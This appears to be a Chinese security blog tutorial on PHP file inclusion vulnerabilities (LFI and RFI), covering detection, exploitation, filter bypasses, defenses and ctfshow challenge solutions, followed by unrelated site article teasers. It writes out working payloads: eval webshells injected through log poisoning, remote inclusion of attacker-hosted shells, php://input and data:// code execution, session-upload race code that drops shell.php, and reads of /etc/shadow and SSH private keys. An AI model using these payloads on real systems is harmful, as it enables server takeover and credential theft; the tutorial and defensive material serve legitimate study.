news 2026/6/26 3:20:10

文件包含漏洞之原理、探测、利用、绕过、防御

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
文件包含漏洞之原理、探测、利用、绕过、防御

一、原理

什么是文件包含?

程序开发人员通常会把可重复使用的函数写到单个文件中,在使用某些函数时,

直接调用此文件,而无须再次编写,这种调用文件的过程一般被称为文件包含。

在包含文件的过程中,如果文件能进行控制,则存储文件包含漏洞

漏洞原理

开发者通常使用 include() 或 require() 等函数加载文件内容。程序通过接收用户可控参数,动态读取本地、远程文件并解析执行。如果这些函数的参数由用户输入控制且未经过验证,攻击者可以通过构造恶意路径或 URL 来加载敏感文件或恶意代码。

​include()​​:找不到被包含文件,报错,但会继续运行脚本;

​include_once()​​:与include类似,区别:当重复调用同一文件时,程序只调用一次;

​require()​​:找不到被包含文件,报错,并且停止运行脚本;

​require_once()​​ :与require类似,区别:当重复调用同一文件时,程序只调用一次;

分类

​LFI 本地文件包含​:仅读取服务器本地文件,无法加载远程 URL

​RFI 远程文件包含​:可加载远程服务器文件,危害更大

二、探测

1. 特征参数识别

URL中常见文件包含参数:?page=x​、?file=x​、?name=x​、?path=x​、?dir=x​、?template=x​、?load=x​

2. 本地文件测试

Windows系统

?page=C:/Windows/win.ini ?page=C:/Windows/System32/drivers/etc/hosts

Linux系统

?page=/etc/passwd ?page=/etc/group ?page=/etc/shadow(需root权限) ?page=/proc/self/environ(获取环境变量、WEB路径)

页面返回文件内容,无报错或404→ 存在LFI

3. 远程文件包含探测

传入远程 URL,观察是否加载远程文件:

?page=http://攻击者服务器/evil.txt ?page=https://xxx/backdoor.php

页面加载远程内容 → 存在RFI

4. 截断符测试

判断是否过滤后缀

若后端强制拼接后缀(如 include($file . ".php")​)使用 %00​ 空字节截断(PHP<5.3.4 有效)

?page=/etc/passwd%00

5. 工具探测

  • Burp Suite:主动扫描模块
  • OWASP ZAP:文件包含漏洞扫描规则
  • Seay 源码审计工具(代码层挖掘)

三、利用

(一)本地文件包含利用

1. 敏感文件读取(信息泄露)

Windows常见:

C:\Windows\win.ini C:\boot.ini C:\xampp\apache\logs\access.log C:/Windows/System32/drivers/etc/hosts

Linux常见目标:

/etc/passwd 用户列表 /etc/crontab 定时任务 /var/log/apache2/access.log 访问日志 /var/log/nginx/access.log /proc/self/cmdline 进程启动参数 /root/.ssh/id_rsa 私钥

2. 日志包含写入木马(日志污染攻击)

原理:访问URL时UA请求头写入日志,再包含日志执行PHP代码

构造恶意User-Agent:<?php eval($_POST['cmd']);?>​

访问网站记录日志

包含日志文件:?page=/var/log/nginx/access.log​

POST传参cmd=系统命令,实现webshell

3. Session文件包含(Session劫持+代码执行)

PHP Session存储路径:/tmp/sess_xxxx​

Cookie写入恶意PHP代码

包含session文件执行木马

4. 上传文件配合LFI

上传图片马(.jpg​ 内含php代码),再通过文件包含解析图片,执行后门。

(二)RFI远程文件包含利用

  1. 攻击者搭建远程恶意文件 shell.txt​
<?php eval($_POST['c']); ?>
  1. 直接远程包含:?page=http://xxx/shell.txt​
  2. 传参执行命令:?c=system('whoami');​

绕过域名限制:协议替换 https://​、ftp://​、php://input​

(三)PHP伪协议利用

无需本地/远程文件,直接通过内置协议读文件、执行代码

基本需要满足:allow_url_fopen=On​,部分协议需要 allow_url_include=On​

1.php://filter

读取当前页面源码,base64编码防止浏览器解析执行PHP代码,避免源码被执行。

解码base64得到完整源代码,获取数据库账号、密钥。

?page=php://filter/read=convert.base64-encode/resource=index.php

2.php://input

GET传参:?file=php://input​

POST请求体写入PHP代码:<?php system('ls'); ?>​

3.data://

?page=data://text/plain,<?php eval($_GET['cmd']);?> ?page=data://text/plain;base64,PD9waHAgZXZhbCgkX0dFVFsnY21kJ10pOyA/Pg== #编码内容:<?php eval($_GET['cmd']);?>

4.file://

直接读取服务器本地任意文件

linux:

?file=file:///etc/passwd ?file=file:///etc/group ?file=file:///var/log/nginx/access.log

​file://​ 后面需要三个斜杠,代表从文件系统根目录开始。

Windows:

?file=file://C:/Windows/win.ini ?file=file://C:/Windows/System32/drivers/etc/hosts

5.zip://

读取 zip 压缩包内的文件,解析执行里面的 PHP 脚本。

?file=zip://D:/www/1.zip%23shell.php # %23是#的URL编码,用来指定压缩包里的文件

四、绕过

1. 过滤../​目录穿越 绕过

多层嵌套:....//....//​etc/passwd(解析后等效../)

双URL编码绕过:

  • 浏览器第一次 URL 解码:..%2Fetc%2Fpasswd​
  • PHP 服务端二次 URL 解码:../etc/passwd

斜杠替换:\ Windows下等价 /,过滤只拦截了正斜杠../​即可使用..\​绕过

2. 过滤 http/https​ 禁止RFI 绕过

替换协议:ftp://​、php://input​、data://​

3. 后端强制拼接 .php 后缀 绕过

空字节截断:%00​(低版本PHP),%00是字符串结束符,PHP 遇到\0直接截断,.php不会拼接执行

.号./符号截断:Windows下目录最大长度为256字节,Linux下目录最大长度为4096字节,超出的部分会被丢弃。目录过长,最后拼接的.php就会被丢弃

payload:

http://192.168.100.150/test_include/index.php?page=1.png/./././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././/./././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././

路径符号:/etc/passwd/.​、/etc/passwd/#​

特殊符号?​:后端拼接后地址:http://xxx/shell.txt?.php,?后面的内容属于 URL 参数,服务端会忽略?.php,实际加载远程shell.txt

4. 过滤关键词 passwd​、etc​绕过

大小写混淆:/EtC/PaSsWd​(Linux区分大小写无效,Windows有效)

字符串拼接、编码绕过、十六进制路径

5. 过滤伪协议 php://filter 绕过

大小写变形:PHP://Filter​

换行、特殊字符分割绕过WAF

6. 路径白名单限制(仅允许 ./template/)

后端拼接后最终访问路径:./template/./template/../../etc/passwd​路径规范化后等价于:../../etc/passwd​,成功跳出白名单目录

路径穿越:?page=../etc/passwd​ 跳出指定目录

五、防御

1. 代码层修复(根本解决)

①白名单限制文件名称,只允许预设页面,拒绝任意用户输入

$allow = ['home.php','about.php']; $file = $_GET['page']; if(!in_array($file,$allow)) die("非法文件"); include("./template/".$file);

②严格限制文件目录,禁止跳出根目录

使用 realpath()​ 校验路径,拦截 ../​ 穿越

$base = "./template/"; $path = realpath($base . $_GET['page']); if(strpos($path, realpath($base)) !== 0) exit;

③禁用危险文件包含函数
php.ini:disable_functions = include,require,file_get_contents​

④关闭远程文件包含

php.ini:allow_url_include = Off​,同时关闭 allow_url_fopen = Off​

2. 输入过滤规范

禁止用户输入直接拼接路径

过滤 ../​、\​、/​、%00​、伪协议关键词

强制文件后缀,统一使用固定后缀,禁止截断

3. 服务器配置防护

日志、session文件禁止Web可访问

网站目录最低权限,www-data无读取 /etc/shadow​、/root​ 权限

Nginx/Apache限制访问敏感系统文件

4. WAF防护

拦截特征:

​php://filter​、data://​、zip://​

多层 ../​ 目录穿越

​http://​ 远程协议调用

​/etc/passwd​、win.ini​ 敏感文件关键字

5. 运维安全加固

PHP升级至7.x/8.x,废除空字节截断漏洞

定期清理网站日志、session文件,减少污染利用面

禁止网站运行用户拥有高系统权限

六、ctfshow练题

-文件读取:

file:///etc/passwd

php://filter/read=convert.base64-encode/resource=phpinfo.php

-文件写入:

php://filter/write=convert.base64-encode/resource=phpinfo.php

php://input POST:<?php fputs(fopen('shell.php','w'),'<?php @eval($_GET[cmd]); ?>'); ?>

-代码执行:

php://input POST:<?php phpinfo();?>

data://text/plain,<?php phpinfo();?>

data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b

78-php&http协议

payload: ?file=php://filter/read=convert.base64-encode/resource=flag.php

payload: ?file=php://input post:<?php system('tac flag.php');?>

payload: ?file=http://www.xiaodi8.com/1.txt 1.txt:<?php system('tac flag.php');?>

79-data&http协议

payload: ?file=data://text/plain,<?=system('tac flag.*');?>

payload: ?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCd0YWMgZmxhZy5waHAnKTs/Pg==

payload: ?file=http://www.xiaodi8.com/1.txt 1.txt:<?php system('tac flag.php');?>

80 81-日志包含

1、利用其他协议,如file,zlib等

2、利用日志记录UA特性包含执行

分析需文件名及带有php关键字放弃

故利用日志记录UA信息,UA带入代码

包含:/var/log/nginx/access.log

82-86-SESSION包含

利用PHP_SESSION_UPLOAD_PROGRESS进行文件包含

自定义session名字,条件竞争访问session文件,触发创建新文件

<html>

<body>

<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="<?php fputs(fopen('shell.php','w'),'<?php @eval($_POST[1])?>'?>" />

<input type="file" name="file" />

<input type="submit" value="submit" />

</form>

</body>

</html>

https://www.cnblogs.com/lnterpreter/p/14086164.html

https://www.cnblogs.com/echoDetected/p/13976405.html

87-php://filter/write&加密编码

1、利用base64:

url编码2次:php://filter/write=convert.base64-decode/resource=123.php

content=aaPD9waHAgQGV2YWwoJF9QT1NUW2FdKTs/Pg==

2、利用凯撒13:

url编码2次:php://filter/write=string.rot13/resource=2.php

content=<?cuc riny($_CBFG[1]);?>

88-data&base64协议

过滤PHP,各种符号,php代码编码写出无符号base64值

Payload:file=data://text/plain;base64,PD9waHAgc3lzdGVtKCd0YWMgKi5waHAnKTtlY2hvIDEyMzs/PmFk

117-php://filter/write&新的算法

convert.iconv.:一种过滤器,和使用iconv()函数处理流数据有等同作用

<?php

$result = iconv("UCS-2LE","UCS-2BE", '<?php eval($_POST[a]);?>');

echo "经过一次反转:".$result."\n";

echo "经过第二次反转:".iconv("UCS-2LE","UCS-2BE", $result);

?>

Payload:file=php://filter/write=convert.iconv.UCS-2LE.UCS-2BE/resource=a.php

contents=?<hp pvela$(P_SO[T]a;)>?

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/6/26 3:18:54

SonarQube实战指南:从部署到CI/CD集成的代码质量门禁

1. 项目概述&#xff1a;从“snoarqube”到SonarQube的代码质量守护之旅最近在项目复盘时&#xff0c;和团队里的几位开发聊起代码质量&#xff0c;大家普遍有个感觉&#xff1a;项目初期&#xff0c;代码结构清晰&#xff0c;逻辑也简单&#xff0c;review起来很快。但随着功能…

作者头像 李华
网站建设 2026/6/26 3:18:45

在公有云搭建我的世界服务器

在centos8上安装my1.21.11 大家可以来我的服务器游玩&#xff1a;47.100.246.22:25565 1.下载JAVA cd /usr/local #微软java21版本 wget https://aka.ms/download-jdk/microsoft-jdk-21.0.3-linux-x64.tar.gz2.下完解压、改名、配环境&#xff1a; #解压 tar -zxvf microsoft-j…

作者头像 李华
网站建设 2026/6/26 3:16:49

Spring Boot 标准分层架构指南

目录 标准分层总览 各层详细说明 标准包结构模板 各层核心注解速查 数据对象(VO/DTO/BO/DO/PO)规范 单体 vs 微服务的分层差异 分层原则与常见错误 对标本项目(bm-search) 1. 标准分层总览 ┌─────────────────────────────────────…

作者头像 李华
网站建设 2026/6/26 3:14:43

深入剖析Java内存模型与volatile关键字

计算机在运行程序时&#xff0c;每条指令都是在CPU中执行的&#xff0c;在执行过程中会涉及到数据的读写。我们知道程序运行的数据是存储在主存中&#xff0c;这时就会有一个问题&#xff0c;读写主存中的数据没有 CPU 中执行指令的速度快&#xff0c;如果任何的交互都需要与主…

作者头像 李华
网站建设 2026/6/26 3:08:39

MoE模型推理优化:动态调度与缓存管理实践

1. 混合专家模型&#xff08;MoE&#xff09;推理的现状与挑战 混合专家模型&#xff08;Mixture-of-Experts, MoE&#xff09;已经成为扩展大语言模型&#xff08;LLM&#xff09;的主流架构之一。与传统的密集模型不同&#xff0c;MoE模型通过稀疏激活机制&#xff0c;在推理…

作者头像 李华
网站建设 2026/6/26 3:04:06

边缘AI部署实战

边缘AI部署实战&#xff1a;让智能触手可及 在人工智能技术快速发展的今天&#xff0c;边缘AI正成为行业焦点。与云端AI不同&#xff0c;边缘AI将计算能力下沉至设备端&#xff0c;实现低延迟、高隐私和实时响应。无论是工业质检、智能家居还是自动驾驶&#xff0c;边缘AI的部…

作者头像 李华